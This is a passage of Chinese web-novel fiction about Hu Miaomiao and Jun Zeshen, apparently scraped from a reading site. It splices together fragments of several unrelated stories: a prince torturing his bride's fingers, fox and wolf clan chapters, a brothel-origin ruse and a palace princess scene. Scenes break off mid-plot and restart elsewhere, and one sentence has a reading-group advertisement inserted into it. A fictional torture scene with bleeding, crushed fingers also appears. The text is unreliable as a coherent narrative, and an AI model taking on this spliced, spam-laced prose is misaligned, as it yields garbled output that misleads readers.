“体弱?呵,装的吧?” 胡淼淼眼前出现黑靴,挑起了她的下巴,她别开脸,收回了一切的表情:“你是这么认为的?可笑,我为了你要蒙骗京城所有人,你未免太看得起自己了。” 其实可笑的是她自己,她竟然要嫁给这样的人,真是被猪油蒙了心 胡淼淼之前对君子华的态度一直很好,还从未对他冷过脸,如今的她虽然看起来脆弱,但态度却意外的强硬,君子华恍惚了一下,嘴角的笑容有些讽刺: “你终于不装了?可淼晚了,给过你机会,上夹棍,本王要看看她还有什么恶心的面孔。” 他竟然要对自己用刑? 胡淼淼再次被刷新的认知,说她是装的,君子华又何尝不是呢? 看着两个侍卫拿着夹棍越来越近,胡淼淼身上尽管难受,面上却毫不畏惧,话语郑重有力:“你们没这种权利,我还没嫁给你,我就还是胡将军嫡女,我们胡家世代镇守边关,你们难道就不怕寒了人心吗?” 此话一出,全场哗然,有些来观礼的大臣已经看不下去了,正要说什么,却听王爷身边的女人说话了。 “将军之女?你连三王爷都敢威胁?”叶水芸和胡淼淼如出一撤的眸子中闪过一丝阴郁,随即叹息道:“如果你真的这么喜欢王爷,只要你说出为什么要冒充我……和让我留在他身边,我会向王爷求情的。” 君子华闻言脸色一沉,懒得多费口舌,不顾大臣们的阻止:“愣着干什么,上刑。” 彩衣的叫喊声越来越大:“小姐!” 胡淼淼被人架了起来,纤细的几乎一折就断的手,被塞进夹棍中,冰冷的温度从指尖直达心里,还不等她说什么,两个侍卫毫不客气的开始行动,用力拉扯着两端,紧接着手掌一阵挤压的痛传来…… “胡淼淼,你还不承认自己的错误吗?” “我……没错!”胡淼淼咬紧下唇,不让自己痛呼出声,她指尖肿胀不堪,知觉已经麻木了,滴滴答答的血滴从中流淌,却依旧不肯低头认错。 “哎,看着你顶着我的这张脸露出这幅表情,我还是有些于心不忍的,要不,你就跪下给我道个歉,我就让子华原谅你了,不再追究了。”叶水芸低叹一口气。 “呵,你……也配?”胡淼淼从牙齿挤出了几个字:“做梦!” 疼! “没有。”狼王动作停顿几秒,随即就用他那勇猛的身躯站在桌前,仔细地摆好碗筷,颇有一种猛狼嗅蔷薇之感,“只有娘子能看,你想看吗?” “那算了。” 臭狼骗身骗心不说,狐刚想原谅他,他竟然又给她准备了一个“小”惊喜。 所以,狐决定,不能这么容易让他哄好。 打小算盘的胡淼淼,并没有看见,男人暗自松了一口气。 第 62 章 第 62 章 “王,王女回来了。” 狐族部落,一大堆狐狸风风火火进入山里,老狐王正站在一棵树下与青丘祭司对弈,闻言漫不经心道:“可把那只逆女抓回来了?此次折了多少狐?” “禀报王,折了……一百二十三只,王女并未把水狐带回来,而她……她身受重伤,正在被救治,恐怕……” 苏老狐狸闻言心尖一紧,根本顾不得什么水狐,豁然站起来,“王女怎么样了?” 春华居相较于淼苑氛围严谨很多,室内还点着香炉,浓郁的檀木香,处处刻板的摆设,低调而奢华,老夫人坐在外间,脸色难看。 卯时已过,府上的小辈哪个没来请安?卯时请安,对于古代人来说习以为常,可对于胡淼淼来说,时辰虽然能起来,但是不习惯,尤其是用不了早膳的情况下,更是百般懒散。 安稳的环境久了,竟然堕落这样,胡淼淼自己都吃惊。 好在,老夫人似乎也不喜欢看见她,让她在府上该干嘛干嘛,不必每天去春华居探望,倒是王家母女,每日殷勤得跟伺候祖宗似的。 府上多了两个闲人,看在原主祖母的面子上,他们若是不招惹她,胡淼淼段时间内懒得理会。 不过对方显然是个闲不下来的主儿。 胡府的下人,明白府上正儿八经的主子回来了,他们比山庄的下人懂事,主子们的事情不敢过多八卦,而有些人却不一定了。 香夫人多次在胡淼淼那受气吃瘪,火气一直憋在心里未曾消散,王家女的本事,她小时候就领教过,便主动上门寒暄几句,其中不经意提起。 “大哥去得突然,淼淼那孩子命苦,大好的年华都浪费在陵川了,及笄礼都没办上,现在过去一年没来得及说亲,却带回来一个男人不清不楚,将来想要说门亲事就难了。” 此次回来,老夫人没亏待王梦瑶母女,特意在春华居西边选了一个院子给她们,还分了几个下人打点,彼时只留下一个信得过的莲翘在一旁候着,为她们添茶。 王梦瑶闻言笑道:“我离京已久,可也知道凭胡家的财力,她不愁找不到好婆家。” “说的就是这个理儿,不过万一那丫头跟别人成亲,难保胳膊肘子往外拐,你是没瞧见,淼淼宠那男人跟宠什么似的,将来若是在一起,胡家都是那男人的囊中之物,怕是要效仿……” 当年的王梦瑶的父亲,也就是老夫人的哥哥,就是靠女人上位,娶了人家周家小姐,把周家占为己有,无奈不是做生意的料子,后来还是老夫人和胡家联姻,有胡家照顾,才得有一丝生息。 这都是老一辈的恩怨,年代已久,王家早就破产了,王梦瑶唯一能指望的只有胡家,若是胡淼淼那死丫头真的亲手把机会送给一个野男人,哪还有他们这些人的地位? 恰巧这时,香夫人继续道:“我瞧见昨儿夜里,淼淼就派人去账房把账本拿走了,今儿又张罗着给那男人添置衣物,明儿说不定又要做什么,她年纪小,容易被骗,我这个姑姑是看不下去,肥水不流外人田,一个捡来的野男人,难不成抵得过我家昌荣。” 王梦瑶也不是傻的,香夫人都把话说这份儿上了,她还有什么不明白的,顿时轻笑,三十岁的年龄,笑起来依旧风韵犹存,平添媚态。 “你说的对,难为你不嫌弃她,说起来,你也是芋儿的姑姑呢,将来可是要好好照拂一番。” 和香夫人不同,王梦瑶,有多是见不得人的手段,还都是跟她那位好父亲学的。 没注意,她就随手一送,谁知道他不用手接? 他们二人气氛古怪,来了半天,愣是没得到半点回应的王芋儿从惊艳中回神,心生恼怒。 臭男人再好看有什么用,还不是没权没势就知道依靠别人。 王芋儿不得不承认,胡淼淼带回来的男人很俊美,昳丽的长相犹如画中走出来似的,气质也很惑人又不显得低俗,她这辈子,从来没见过这般好看的。 如果不是她有明确目标,早就一见倾心了,可惜她过够了苦日子,听香姑姑说,这男人是路上捡回来的,无权无势无身份,就一副皮囊罢了。 一想自己来的目的,王芋儿压下心里的悸动,恢复平静,小声说:“姐姐,我从小在珙县,但一直想回京城,又担心打扰到你们,可是父亲走了,如今就剩下你一个亲人了,所以我想,能不能经常来你这说一些体己的话。” 胡淼淼闻言撤回手,慢吞吞捻了捻指尖,开口:“别这样,至少你还有一个母亲。” 王芋儿酝酿半天的台词噎了一下。 “姐姐,我不是这个意思,我是说……”然而话音刚到一半,就感受一道邪佞,阴寒入骨的视线,落在自己身上,她小心抬头。 胡淼淼身边讨人欢心的男子,此时正在胡淼淼看不见的角度,看着她。 他的瞳色很浅,和那艳逸的长相绝对不匹配,此时看向她的目光平淡无波,犹如看蝼蚁,死物,在他没有温度的眼中,她像是不应该存活在这个世界上……来自灵魂的颤栗,让她心尖发凉。 就好似抢了野兽的猎物,被野兽盯上了。 王芋儿背后生出一层冷汗。 胡淼淼发现她的异样,疑惑地顺着她的视线看过去,身边的男人正在低头啃桂花糕,她顿悟,哦豁,男颜祸水,手不动声色掐了一把某男人胳膊,君泽琛心里一凛,难道她察觉了? 正要开口试探,胡淼淼已经收回了手,再次把注意力转向其他人,漫不经心道:“说吧,来这里什么事。” 胡淼淼小时候家庭规矩多,见面的那些大人都是虚伪的面孔,让人作呕。 她从来都不喜欢虚与委蛇,更何况末世里人性暴露的丑陋嘴脸,这女人眼底藏着的怨怼,根本瞒不住她的眼睛。 果然,王芋儿脸色僵硬片刻,开口:“是这样的姐姐,我初来京城,人不生地不熟的,连个说话的人都没有,听闻过些日子,安家小姐生辰,会宴请京城的姑娘去赏花,不知道姐姐能不能带上我?” 安家也是经商的,同样是皇商,这些年军部铸造兵器的材料,都是出自安家之手,而且和当今垄将军有姻亲关系,这些年可谓是风光无限。 这次,肯定邀请不少官家小姐,对王芋儿来说,这是不可多得的机会,若是能随便攀上一个,她将来也有一个出路。 而胡家的请帖,绝不会落在她这种毫无名分的“胡家私生女”身上。 胡淼淼没有兴趣当她的踏脚石,然而转念不知想到什么,颔首同意把人打发走。 夏小荷不明所以:“小姐,你为什么要帮她?” 君泽琛也投去疑惑的视线,胡淼淼挑眉:“干饭哪有为什么?安家应该准备了丰盛的美食。” 君泽琛&夏小荷:“……” 胡府少她一口吃的了吗? 他们不懂,但大为震撼,美男子震撼睁大的狐狸眼过于可爱,胡淼淼跟流氓似的,笑眯眯拍拍狐狸头炸起来的呆毛:“逗你的,消停在家待着,我去看热闹。” 她刚才忽然想到,原著中,故事的开端,有一场宴会,原主在山庄被渣男调戏,逃跑后被带回来坐实了和渣男的绯闻,所有人都觉得她应该嫁给渣男梁昌荣。 而原主表面如此,背地里却是不乐意,老夫人也不同意,要把事情压下来,然而香夫人突然豁出去脸面,让原主和他儿子在那场宴会大庭广众被捉奸。 反正,就算再开放,世人也只会去指责原主勾引他,利用舆论,逼迫她嫁给梁昌荣。 另一边,淼苑早已布置完毕,院外的藤蔓未曾全部除掉,而是简单精修了一番,粉艳的花骨朵绽放,树荫下搭建了一个木棚,圆石桌上中间摆着新摘的海棠花,微风吹过,隐约能闻到淡淡的香气。 他们二人的房间布置的都一样,仿佛一个模子刻出来的,夏天的雪绸被,金纱圆顶的床帐,梨花桌椅,镂空雕花的屏风,比之昨晚,有了活人的气息。 眼看到了晚膳时间,胡淼淼老早便把贵妃椅搬到院中的木棚下,坐等开饭,殷殷切切的模样,活脱脱像是饿了好几日的难民。 夏小荷早已习惯,体贴的吩咐人端盆在一碰,准备等会为小姐饭前净手。 “小荷,今儿那厮跟你说了什么?” 夏小荷花费好几秒,才反应过来胡淼淼所说的是谁,迟疑道:“公子好像有点怪怪的,问了一些以前的事。” 她把事情一五一十交代,胡淼淼若有所思,忽而眼底闪过一抹促狭,对夏小荷招招手,窃窃私语:“一个失忆的人想知道过去的事可以理解嘛,下次你直接告诉他……” 夏小荷吓了一跳,不理解小姐为何这么说,不过作为一个忠心的下人,她没有多问,细心把小姐的吩咐记下。 而刚回来的大小姐面都没见到,越发不知规矩。 屋内的一众女眷,也早有人露出不耐烦之色,而刚回来的香夫人则在打量老夫人身边的新面孔。 少女一身粉嫩,娇艳可人,发髻整齐,姿态乖巧懂事,水灵灵的眉眼,其中有透着几分娇软,是胡府新来的面孔? 倒是少女旁边的另一位,香夫人觉得眼熟,她的眉眼和少女有几分相似,年级跟她相仿,三四十岁,风韵犹存,举手投足之间媚态横生,隐约在记忆之中有过这个影子。 她又不是故意挠他的。 胡淼淼恼怒地张嘴欲咬,红唇刚触碰到男人手指,突然觉得不对劲儿。 她狐疑地看一眼男人冰冷的面具,“你这变态,不会很希望我咬你吧?” 第 63 章 第 63 章 事实证明,有些狼确实是变态,他不止一次告诉小狐狸,可以尽情地咬他,他一点都不介意。 他让胡淼淼肆意欺负他,在他头上怎样作威作福都行,男人态度诚恳,反而搞得胡淼淼束手束脚,她怕一不小心,就让他舒坦了。 不过有君泽琛的保证,胡淼淼那颗心放回了嗓子眼,吃着他的,睡着他的,还不给他甜头。 比如他想亲亲,她不乐意,变回狐狸头让他啃一嘴毛。 没想到他反而更兴奋,吓得胡淼淼当场变回原形躲到床底下,君泽琛哄了许久才出来。 当天下午,大床就换了,换成一个没有床底的,狐狸想躲都躲不掉。知道她反感原形和自己亲近,君泽琛也没再吓唬她,顶多是给她原形顺顺毛。 胡淼淼就像是那狼薄荷,无时无刻不在引诱狼的亲近,他手痒,没事儿就捅咕捅咕小狐狸,下手没轻没重的,当第一撮狐毛绽放在他手上,胡淼淼和他都呆住了。 男人试图隐藏,被胡淼淼一爪子按住,“掉毛了?我的生毛养毛的丹药呢,你个大骗子!这是你第几次更薅掉我毛了?” 他婚前就承诺给狐狸生发的丹药,现在都没兑现,而且…… 胡淼淼爬起来看自己尾巴根,隐约觉得“伤口”有些眼熟。 她眨巴着狐狸眼,瞅瞅“伤口”,又看看罪魁祸首,冷不丁来一句,“你离开的那三个月,是因为知道我是狐狸?” 胡淼淼没有说指定时间,君泽琛却听懂了。 他迟疑几秒,用她的另一条大尾巴把掉毛的那根尾巴盖住,遮挡案发现场。 “嗯。” 不知谁给王氏报信,消息比请柬还灵通,第二天一早,安家就派人来了。 胡家嫡女回来,京城上下都 在关注。 世人畏惧仰慕权力,却也喜欢金钱。更比如一些当官的,瞧不起经商的,却又想要拉拢。 安家因为垄将军,会有很多名门前去生辰宴。 太早了,胡淼淼有些疲倦,一双本来就像狗狗的眼睛睫毛耷拉着,眼睛里沁着水雾,雾蒙蒙,手里的请柬要掉不掉,听到隔壁动静,刚好走进来的君泽琛,正好看见这一幕。 他眼眸一闪,走到胡淼淼身边,好闻的梅香包裹,君泽琛熟练的按住她的太阳穴,胡淼淼也不会像当初那样充满防备,只是生无可恋的叹了一口气,别问她今天为何那么衰,末世后,她没睡过一天好觉,时间一久就习以为常了 可是,自从某人按摩舒坦,睡觉嘛香后,她就不想过失眠的日子了。 左思右想,胡淼淼慢吞吞道:“今天晚上你来我房里。” 那清凉的指尖明显顿住,胡淼淼这才意识到自己的话有争议,正打算补一句,忽然坏心骤起。 君泽琛的手被按住,女人的手好似灵蛇,又没有冷血的动物的温度,温暖得让人舍不得躲避。 胡淼淼转身跪坐在椅子上,攀着他的手臂,感受那看似瘦弱实则结实有力的肌肉,笑得好似调戏良家妇男的流氓,偏偏她长相精致,看不出任何流里流气,反倒让被调戏的人“红”了脸。 就在胡淼淼等待男人支支吾吾,羞怯拒绝再倒打一耙说他思想不纯洁的时候,他却突然弯腰。 一张如画般的容颜映入眼帘,他虽面带窘迫,但是眼睛不曾离开她。 仿佛,她是他的全部。 空气中,全是独属于他的气息,君泽琛的脸和她只差了不到一指的距离,只要再靠近,就能接触到彼此。 胡淼淼带困倦的大脑瞬间清醒,一把推开他:“想什么呢,就是让你帮忙按摩而已,等我睡着了再走。” 男人眼眸轻眨了一下,不置可否,顺着她点头,还体贴的转移话题:“明天你一个人去吗?” “不,带上小荷。” 话音刚落,胡淼淼直觉敏锐,感觉后脖颈凉嗖嗖的,回头看一眼,男人还是这张昳丽容颜,只是透着一丝她不明白的委屈。 “所以,你骗我这么久,再次出现,我们醉酒到底发生了什么?” 君泽琛孑然一身,除了自己,其他都是胡淼淼给予的。 夏小荷的话,他听了进去,且不说胡淼淼收留他是什么目的。 既然在胡府一日,就要做出样子来,他就像是潜伏在树丛的毒蛇,掩藏着獠牙,死死盯着身边的猎物。 对方不动,他不动,等对方露出马脚,再给予致命一击。 作为一个贴心的“未婚夫”,对未婚妻的所作所为颇为感动,自然要想办法做出回报。 他思来想去,胡淼淼衣食起居,他大概也就能从吃食这边下手了。 经过一段时间的观察,君泽琛发现,胡淼淼对吃方面格外注重,常言道拿下一个人的心,先要拿住她的胃,君泽琛善于攻心,这一点倒是手到擒来。 只是他没有记忆,不知做膳的步骤,还需先观察几日。 大宅的膳房都是统一的,到时间厨子会做好饭,让下人们统一送去主子那里,是不允许有小灶的。 而胡淼淼却是个例外,老夫人懒得理会,府上其他人倒不会因为这点小事儿惹她不悦。 所以,夏小荷帮胡淼淼拿桂花糕,正好碰见君泽琛站在门口,有些奇怪:“公子,你怎么在这里。” 君泽琛目光停留在灶房内,厨子叫张大勺,年纪不大,白胖白胖的小伙子,动作却是跟灵巧麻利,一手打开蒸笼盖子,拿出已经做熟的桂花糕,用篦子撬下,放在瓷器所做的盘子中,上面绘制的缠枝纹,正好和精致小巧的糕点相得益彰,同时散发着诱人的气息。 他总感觉,桂花糕出笼的那一刻,好像在哪里见过。 君泽琛沉思之时,张大勺已经盖上了盖子,笑眯眯道:“小荷姑娘,公子已经在这看一段时间了,应该是想帮小姐端过去。” 这都是下人做的活儿,夏小荷哪会让给他,瞥一眼不远处的张大勺,小声凑近,一用只有二人能听到的声音道:“公子,虽然你以前在阳春楼吃了不少苦,但这些事情,就不劳您费心了,还是奴婢拿过去吧。” 正想事情的君泽琛眉峰一蹙,一直微微挑着得狐狸眼几不可查的垂了一下,目光凌厉:“什么楼?” 他的情绪难得外露,让夏小荷想到今天早上的那一瞬间,好像被什么东西盯上了一样,但一想到小姐之前跟她说的,她只能颤颤巍巍,不去看未来姑爷的脸色,低头攥紧托盘。 “阳春楼。”第二天,上入安府马车的时候,胡淼淼神清气爽,活像是吸食人精气的妖精,果然,旁边有人就是睡的香。 “小姐今儿怎么没看见公子?” 他们的房间距离很近,往日只要胡淼淼这边一有动静,那边的男人就会像狐狸偷腥似的黏上来,而今日胡淼淼要出门,隔壁竟然纹丝未动? 胡淼淼没有让人守夜的习惯,所以夏小荷并不知道昨儿夜里君泽琛住进来了胡淼淼的闺房,更不知道后半夜满身疲惫离开,回想起男人那种被用完就丢的哀怨表情,胡淼淼流露出意味深长的笑,看得夏小荷一激灵。 小姐怕不是又算计谁呢?翠花欲哭无泪,公主今儿是怎么了? 正要说什么,胡淼淼已经不君形象发出土拨鼠叫:“救命,小三,快把人救上来。” 啊啊啊,这是什么人间疾苦,天,刚才她怎么就没注意,长相帅气美丽冻人,在宫里身中*药的,除了她想要逃离的反派还有哪个? 嘤~ 都怪男色太妖娆,她jiojio痒,谁让他长得欠踹呢。 小三就是把君泽琛脑袋拉上来那个暗卫,他麻木着脸往上看了看,一把抓住君泽琛的肩膀,把人带上了桥头。 “哗啦啦~” 美人出浴,男人浑身湿漉漉,玉冠不知何时掉落,长发披散在背后滴着水珠,在地上晕染成一幅水墨画,入水果然压制住药效,给了君泽琛喘/息时间,他抬眸看向胡淼淼,低低咳嗽两声,竟给人一种保护欲。 君泽琛气息不稳:“长公主可是闹够了?” 胡淼淼:“……” 她一激灵,麻溜地走上前去,打算伸手扶起他,却再次被他抬手挥开,男人慢腾腾从地上起身,哪怕一身狼狈,依旧难掩那矜贵气息。 “如果闹够了,微臣告退。” 男人施施然行礼,不等胡淼淼回答,起身离开,只留下一摊水泽以及一道消瘦的背影,倔强而独立。 胡淼淼:“……”挽留?会不会被鲨死,不挽留?会不会记恨上她了。 一女子带着宫人与之擦身而过,当她看清君泽琛的模样震惊到睁大眼睛,对着石化在原地的胡淼淼喊:“公主,你对他做了什么?” 君泽琛胸膛起伏了一下,声音恢复镇定,勾了一下唇角:“我之前是阳春楼客栈打杂的对吧,然后遇见了你们家小姐。” “姑……”夏小荷瞅自己脚尖:“不是,阳春楼不是客栈,是青/楼,您是那里接客的,第一天就被小姐看中,赎了回来。” 君泽琛:“……” 这消息过于震撼,一时之间,他那张一向完美的脸,表情彻底裂开了。 他失忆前,连良家男子都不是? 老狐王神色疲惫,他这一生,就没生出来一个争气的继承人。 难不成,狐族就要在他手里灭亡了吗? 不,不行。 老狐王的表情突然坚定,他深深看一眼苏山灵,沉声道:“山灵啊,你这一辈子,父王待你不薄,什么吃的用的好的都给了你,你比你妹妹幸福太多,也是时候回报父王了。” “什么?” 苏山灵瞪大眼睛,狼狈地后退几步,不敢相信她的亲生父亲,有朝一日竟然会抛弃她。 十几年前,苏王能抛弃刚出生的水狐,十几年后的今天,他就能抛弃掉没有利用价值的苏山灵。 他无视苏山灵不敢置信的眼神,对她身后的守卫挥挥手,那些狐妖早有准备,一把打晕了苏山灵。 狐狼之家,凯旋的红狼迈着六亲不认的步伐脚打了个滑,他瞅了瞅狼王寝殿的牌匾,又回头看了一眼来时的路,疑惑地挠了挠头。 他不确定地小声哔哔,“不是女妖与狐狸不得入内吗?什么时候改的。” 他有些时日没回来,此次回来是跟君泽琛报告战况。 狼族有议事的殿宇,叫灭狐三十六计。 红狼刚从那边回来,没看见君泽琛索性就来女妖与狐不得入内找找。 牌匾让他怀疑自己来错了地方,他站在殿门口反复确认。 不对啊,狐狼之家什么破名字,一点都不如王取的女妖与狐不得入内好听。 王被偷家了? 谁那么大胆! 作为狼王的忠实造反狼,他二话不说就冲进去,试图浑水摸鱼,没准他就能趁狼王不备与贼人里应外合造反成功了呢。 第 64 章 第 64 章 “嗷呜~汪!” 狼王寝殿入口,红色影子在空中划一道抛物线,一声惊天巨响,附近的房子跟着抖三抖。 红狼四仰八叉摔在地上,懵逼好半晌才呲牙裂嘴爬起来。 谁家好狼在自己家门口布置那么强的结界,防狼吗? 红溯魇还不等靠近,就被结界劈头盖脸一顿砸,他郁闷地爬起来,却见他的王寝殿没有进贼,而是进了一个小祖宗。 狼王站在殿前,戴面具看不出表情,只能看出他的眼神很阴翳,很不爽,疑似欲求不满。 在他身后的大殿里,一只白蓝色小狐狸探头探脑地观望着。 不等红溯魇多看,君泽琛侧身,挡住了红溯魇看胡淼淼的视线,他语气不好,“红溯魇,你最好有事。” 在失忆后,君泽琛不是没有想过曾经的身份,冥冥之中,好像有什么事情还没完成,而且他对身边的环境没有丝毫归属感。 可就算他再精明,也终究是失忆了,对曾经的自己没有任何印象,更不知应该何去何从,刚做好的目标,全被“阳春楼”三个字打乱。 衣角簌簌划过空气,向来懒散的步伐有些凌乱,清风泛起阵阵凉意,男子停顿下来,手抵在院落中的一棵柳树上,在看见女子的一刹那,头脑略微沉静下来。 树下的影子拉长,石桌旁,女子换上一身清凉的绿罗裙,满头青丝被簪子挽起,她似乎极爱珠子等头面,侧边插入的一串白玉珍珠做的流苏,与那玉一般的娇颜相映,女子嘴角的笑意似有意思玩味,好似等待什么有趣的事情发生。 “阿冤?” 这道声线过于欢快,胡淼淼意识到后轻咳一声:“怎么了这是?” 男子风风火火走回来,再走快点,估计魂都能在后面追了。 从捡到他以来,胡淼淼第一次见他这么失态。 她余光瞥见身后追过来的夏小荷,惊讶地坐直了身体,作出完全不知情的神色。 然而,君泽琛又不傻,这女人惯犯了,当她一脸认真的时候,就证明她要骗人了,满嘴谎言。 小骗子! 竟然连这种事情都骗。 悬着的心悄然落下,男子浅色的眼眸深了几分,酝酿着情绪。 这时候,夏小荷已经跑过来了,她端着盘子,不知所措。 “小姐,对不起小姐,奴婢不该说阳春楼,提起公子的伤心事儿。” 胡淼淼视线在桂花糕上面停留一会,克制自己转移视线落在男人身上,正要张口继续演戏,却不想迎面而来一道阴影,她肌肉紧绷一瞬,想要打出去的手硬生生憋回来。 下一瞬,差点被某人压死。 浓郁的梅香充斥在鼻尖,男子仿佛一只大型犬扑食,把她压在怀中,那张昳丽的容颜毫无防备闯入她视线,墨发瀑布般倾泻在四周,和她的青丝缠在一起。 “之之。”他的声音好似蜜糖,能甜腻到味蕾,透着黏糊的沙哑:“我是不是,配不上你。” 男子是正宗的狐狸眼,内眼角有一些尖,狭长,外眼角上翘,可魅,可纯,一委屈起来,上翘的眼尾会泛红,浅棕色瞳仁雾蒙蒙的,有那么一瞬间,胡淼淼仿佛看见一只大红狐狸耷拉耳朵和尾巴向自己嘤嘤嘤。 罪恶感油然而生。 有亿点点理解纣王了,这谁顶得住啊。 对于看了三年嘴歪眼斜,腐臭生蛆,缺胳膊断腿丧尸的胡淼淼来说,是一种洗眼睛的盛宴。 当然,仅限于欣赏,不走心的那种。 她脸不红气不喘,轻轻摸了摸狐狸头:“没事,都过去了,我不嫌弃你。” 狐狸眼瞬间更红了。安府贴心的给准备另外两辆马车,护送她们回府,至于梁昌荣直接被打包送回梁府,大夫帮他们诊治过,只是呛水受到惊吓,回去喝点驱寒的药,就没什么大碍来了。 回府已经是下午了,刚下马车,就看见老夫人身边的丫鬟冬竹站在门口,她一板一眼:“大小姐,老夫人他们等候多时了,请随奴婢来。” 胡淼淼微微挑眉,记忆中,好像确实有这么一糟,原主狼狈地被梁昌荣抱回胡府,等老夫人将原主许给他,毕竟大庭广众之下,当着那么多富家千金公子的面出了丑,就算不许给他,将来也很难找到好人家了。 老夫人最后问了原主一遍,原主那时候情绪并不稳定,加上她一向胆小面子薄,羞愤的想要自尽又没有勇气,最终同意了这门婚事。 择日去山上烧香祈福,选了良辰吉日嫁给梁昌荣,殊不知是一切噩梦的开始,也是故事的开端。 梁昌荣遇见刚进京的女主,色心大起,出手调戏不成起了执念,势必要把女主弄到手,不择手段导致引火烧身,牵连整个胡家,本就心灰意冷的原主燃了闺房,悬梁自尽,整个胡家和梁家被抓去刑部,男子亲自动刑,为女主出气。 这个原著也很奇怪,全篇男女主的感情线都不明朗,梁昌荣调戏女主,本来冷血变态的男主突然像是被触碰了逆鳞,不弄死梁昌荣不罢休。 不过既然胡淼淼来到胡家,就绝对不会允许的这种事情发生。 梁昌荣算什么? 就凭他搭上整个胡家,做梦吧。 胡淼淼一边想着事情,一边跟着去了南厅,身后跟着换了衣服犹如霜打了茄子的王芋儿。 故事中的剧情发生扭转,证明胡家结局会有改变,胡淼淼心情甚好,准备迎接下一个剧情点,她一点也不奇怪为什么老祖母会在南厅等她。 原著里,应该就是那个王梦瑶出的主意,不顾梁昌荣的名声选择剑走偏锋,无论是梁昌荣,还是原著,出事后,都跟王梦瑶没有关系。 果然不出胡淼淼所料,对方不仅仅想胡淼淼在外面身败名裂,还想让她在胡家下不来台,那些七大姑八大姨,以及府上的下人都凑到了南厅,只是,一个出乎意料的身影,竟然也在那里。 “所以,我真是青/楼出来的?” 胡淼淼被他压得有些喘不过来气,推了推。 男人穿衣服看起来消瘦,可当触碰的一刹那,隔着几层衣物,依旧能感受到那结实有力,颇有韧劲肌肉正处于紧绷的状态,也只这一刻,胡淼淼才意识到,他竟然没有想象中的那么羸弱。 如擂鼓的心跳,清新地传到她的掌心……她蜷缩了一下指尖。 “起来说话,青楼出来的怎么了,你之前只卖艺不卖/身,刚被逼着卖/身就遇见了我,被他带回去养相处多年,然后生了感情。” 胡淼淼声音听不出异样,依旧面不改色忽悠,然而哪怕她隐藏的再好,也逃不过心思细腻,观察入微的男人。 君泽琛明显看见她闪神了一下,那一种表面亲近,实则疏离的壁垒好似裂开一层缝隙,他终于探到了世界另一端的风景,浅色瞳仁中惊起一阵涟漪又悄然隐藏在眼底。 就在他准备乘胜追击的时候,胡淼淼早就恢复平静,对美色熟视无睹,环住他的脖子,犹如揪住狐狸命运的后脖颈,薅到一旁。 然后君泽琛就发现,小骗子骗起来也有些不走心了,那双黑白分明,让人看起来宁静,盛满阳光的眸子,时不时落在他身后丫鬟身上。 不,更确切地说,是落在她端着的桂花糕身上。 人不如糕。 君泽琛磨了磨后牙槽,坐在一旁,一整个哀怨。 “淼淼姐姐,你在吗?” 恰巧这个时候,院外传来一道女人柔柔的声音,王芋儿长相随了娘亲,模样娇俏之中透着媚态,粉色纱裙,披着淡淡的薄纱,曼妙的身材尽显,只是面对胡淼淼的时候,眉宇之间露出一丝拘谨,老夫人似乎爱屋及乌,对这个孙女很喜欢,特意为她安排几个特身丫鬟跟在身后。 胡淼淼对不请自来的客人不太欢迎,示意夏小荷把托盘放下,执起一块桂花糕,往旁边一递。 香甜的气息让正在哀怨的君泽琛一愣,他长而浓密的睫毛垂落,看着眼前的糕点,他一向喜欢艳丽的东西,比如海棠,红梅。 她的手指白玉细长,指甲修剪整齐,圆润透粉,桂花糕是白色,点缀上处理过的蜜,晶莹可口,喜欢丰富色彩的男人在这一刻竟也觉得,比那海棠毫不逊色。 他薄唇抿了抿,然后低下了头。 胡淼淼姿态懒散,似笑非笑打量不速之客,本是随手递给他,并没过多注意,谁知道指尖先是感受到浅薄的呼吸,犹如微风拂过,然后是一片奇异的触感,轻柔,微凉,湿/软,好似被带倒刺的小动物舔了一口。 她笑容僵在脸上,错愕侧头,正好看见男子就着自己的手叼住了那桂花糕,瑰丽的唇不经意擦过她的手,只留下那触碰过的余温,徘徊在皮肤上,久久不散。 或许她的动作太大引起君泽琛的注意,加裙幺污儿二漆雾二吧椅每日更新最新完结文他抬眸,狐狸眼微微上挑,仿佛在问:怎么了? 她气笑了:“……你没手?” 男人后知后觉用自己手抵住嘴边的桂花糕,好似护食的兽类,说话淼糊不清之中带有几分委屈无辜:“不是你递到我嘴边的吗?” 她踮起脚尖,薅住男人的衣领,原本打算借力的,谁知道他的衣服不争气,撕拉一声就撕掉一块,露出男人棱角分明的锁骨,雄壮的肌肉线条,和他颈侧的黑色狼纹。 胡淼淼原本打算咬他的下巴,可当看见那蕴含着金色能量的狼纹,突然改变了攻击方向,挂在他身上,嗷呜一口就咬了上去。 尖锐的犬齿从红唇两侧伸出,用力镶嵌在男人的颈间,就如同传说中美艳的血族,咬住了他的脖子不松开。 男人闷哼一声,下意识揽住她的腰向上提了提。 胡淼淼借力,咬得也没有那么费劲,只不过男妖皮糙肉厚,她撕咬了一会才尝到血腥味,鲜红的颜色从她唇角流下,她说话含糊不清:“君泽琛,你放不放?你不放……我咬死你。” 不知是不是错觉,男人的声音有些沙哑,“不放。” 他倔强地补充一句:“死都不放。” 第 65 章 第 65 章 胡淼淼以为,轻咬是奖励,重咬是惩罚,所以她对君泽琛的脖子毫不嘴软,小尖牙疯狂乱作,在他的身上咬出一口又一口牙印。 她还不忘威胁,如果他不放狐出去,她就一直咬! 殊不知,这点伤口对狼王来说根本不疼,反而像是给狼王挠痒痒,她的尖牙所过之处,犹如小羽毛扫过他的肌肤,激起一阵阵颤——栗。 他固执地一动不动,任由她在自己身上撒气,呼吸渐渐沉重,眼底努力压抑火热的情绪。 两个妖都很投入忘我,直到不远处传来一阵凌乱的脚步声,他们不约而同看过去。 他的眼底晦暗不明,女人的红唇沾血,美眸含怒,她挂在男人身上,方才还趴在他身上“亲吻”,怎么看都很暧昧。 胡淼淼生病了。 果然,身体从来不会眷顾她。 从皇宫回来那天,君泽琛就把人拐回琛王府,这次,将军府也没理由阻止。 回门都回了,宫中来人还让人把胡淼淼带走,要是没君泽琛,在将军夫人眼中,自家娇娇进皇宫肯定被吃的连骨头都不剩。 如果是在琛王府,宫中的人也不会那么放肆。 回到琛王府,君泽琛就臭不要脸赖着人家,偶尔得寸进尺,说:“淼儿,夜里凉,这两天都已经习惯了,让我来照顾你吧。” 在将军府二人同床共枕,胡淼淼想拒绝,可话到嘴边,看着那双鹰眸,硬生生咽了下去。 就这样,某人堂而皇之回到了曾经自己的卧室,心中美滋滋。 然而哪怕君泽琛再细心照料,也抵不过体弱。 胡淼淼第二天早上就高烧不退。 幸亏君泽琛注意力一直在她身上,不然,后果不堪设想。 